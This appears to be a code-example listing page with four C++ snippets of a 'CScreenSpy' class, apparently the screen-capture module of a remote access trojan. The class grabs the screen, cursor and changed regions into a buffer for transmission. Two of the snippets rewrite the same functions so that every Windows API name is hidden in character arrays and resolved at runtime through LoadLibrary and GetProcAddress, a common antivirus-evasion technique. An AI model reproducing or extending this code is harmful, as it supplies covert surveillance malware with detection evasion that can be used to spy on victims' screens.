Exemplo n.º 1
0
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
	static LONG	nOldCursorPosY = 0;
	if (lpdwBytes == NULL || m_rectBuffer == NULL)
		return NULL;

	SelectInputWinStation();

	// 重置rect缓冲区指针
	m_rectBufferOffset = 0;

	// 写入使用了哪种算法
	WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));

	// 写入光标位置
	POINT	CursorPos;
	GetCursorPos(&CursorPos);
	WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
	
	// 写入当前光标类型
	BYTE	bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
	WriteRectBuffer(&bCursorIndex, sizeof(BYTE));

	// 差异比较算法
	if (m_bAlgorithm == ALGORITHM_DIFF)
	{
		// 分段扫描全屏幕
		ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
		*lpdwBytes = m_rectBufferOffset + 
			Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
		return m_rectBuffer;
	}

	// 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描
	// 向上提
	int	nHotspot = max(0, CursorPos.y - DEF_STEP);
	for (
		int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine; 
		i < m_nFullHeight; 
		i += DEF_STEP
		)
	{
		if (ScanChangedRect(i))
		{
			i += DEF_STEP;
		}
	}
	nOldCursorPosY = CursorPos.y;

	m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
	*lpdwBytes = m_rectBufferOffset;

	// 限制发送帧的速度
	while (GetTickCount() - m_dwLastCapture < m_dwSleep)
		Sleep(10);
	InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());

	return m_rectBuffer;
}
Exemplo n.º 2
0
void CScreenSpy::CopyRect( LPRECT lpRect )
{
	int	nRectWidth = lpRect->right - lpRect->left;
	int	nRectHeight = lpRect->bottom - lpRect->top;

	LPVOID	lpvRectBits = NULL;
	// 调整m_lpbmi_rect
	m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
	m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
	m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3) 
		* m_lpbmi_rect->bmiHeader.biHeight;


	HBITMAP	hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
	::SelectObject(m_hRectMemDC, hRectBitmap);
	::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
	::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);

	WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
	WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);

	DeleteObject(hRectBitmap);
}
Exemplo n.º 3
0
void CScreenSpy::CopyRect( LPRECT lpRect )
{
    int	nRectWidth = lpRect->right - lpRect->left;
    int	nRectHeight = lpRect->bottom - lpRect->top;

    LPVOID	lpvRectBits = NULL;
    // 调整m_lpbmi_rect
    m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
    m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
    m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
                                          * m_lpbmi_rect->bmiHeader.biHeight;

    char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'};
    CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72);
//	HBITMAP	hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
    HBITMAP	hRectBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);

    char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'};
    SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80);
//	::SelectObject(m_hRectMemDC, hRectBitmap);
    pSelectObject(m_hRectMemDC, hRectBitmap);

    char DYrEN91[] = {'B','i','t','B','l','t','\0'};
    BitBltT pBitBlt=(BitBltT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN91);
//	::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
//	::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
    pBitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
    pBitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);

    WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
    WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);

    char DYrEN78[] = {'D','e','l','e','t','e','O','b','j','e','c','t','\0'};
    DeleteObjectT pDeleteObject=(DeleteObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN78);
    pDeleteObject(hRectBitmap);
}
Exemplo n.º 4
0
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
    static LONG	nOldCursorPosY = 0;
    if (lpdwBytes == NULL || m_rectBuffer == NULL)
        return NULL;

    SelectInputWinStation();

    // 重置rect缓冲区指针
    m_rectBufferOffset = 0;

    // 写入使用了哪种算法
    WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));

    // 写入光标位置
    POINT	CursorPos;
    char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'};
    GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58);
    pGetCursorPos(&CursorPos);
    WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));

    // 写入当前光标类型
    BYTE	bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
    WriteRectBuffer(&bCursorIndex, sizeof(BYTE));

    // 差异比较算法
    if (m_bAlgorithm == ALGORITHM_DIFF)
    {
        // 分段扫描全屏幕
        ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
        *lpdwBytes = m_rectBufferOffset +
                     Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
        return m_rectBuffer;
    }

    // 鼠标位置发变化并且热点区域如果发生变化,以(发生变化的行 + DEF_STEP)向下扫描
    // 向上提
    int	nHotspot = max(0, CursorPos.y - DEF_STEP);
    for (
        int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
        i < m_nFullHeight;
        i += DEF_STEP
    )
    {
        if (ScanChangedRect(i))
        {
            i += DEF_STEP;
        }
    }
    nOldCursorPosY = CursorPos.y;

    m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
    *lpdwBytes = m_rectBufferOffset;

    char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
    GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
    // 限制发送帧的速度
    char FBwWp25[] = {'S','l','e','e','p','\0'};
    SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
    while (pGetTickCount() - m_dwLastCapture < m_dwSleep)
        pSleep(1);
    char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'};
    InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21);
    pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount());

    return m_rectBuffer;
}